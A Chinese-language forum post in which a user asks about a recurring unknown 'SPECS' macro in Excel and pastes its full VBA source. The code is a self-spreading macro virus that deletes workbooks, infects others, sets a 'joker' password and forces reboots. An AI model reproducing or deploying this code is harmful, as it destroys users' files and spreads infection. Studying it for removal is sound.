|
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用 · 内置多项VBA编程加强工具 ★ 免费下载 ★ ★ 使用手册★
Excel文件中發現未知代碼(SPECS),刪除後保存,再開又出現,Excel不正常了,代碼如下:
Sub auto_open()
On Error Resume Next
Application.EnableEvents = False
For Each kil In Workbooks
If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
fn = kil.FullName
kil.Close (False)
Kill (fn)
End If
Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets(1).Copy
nam = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub
Sub auto_close()
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub
|
|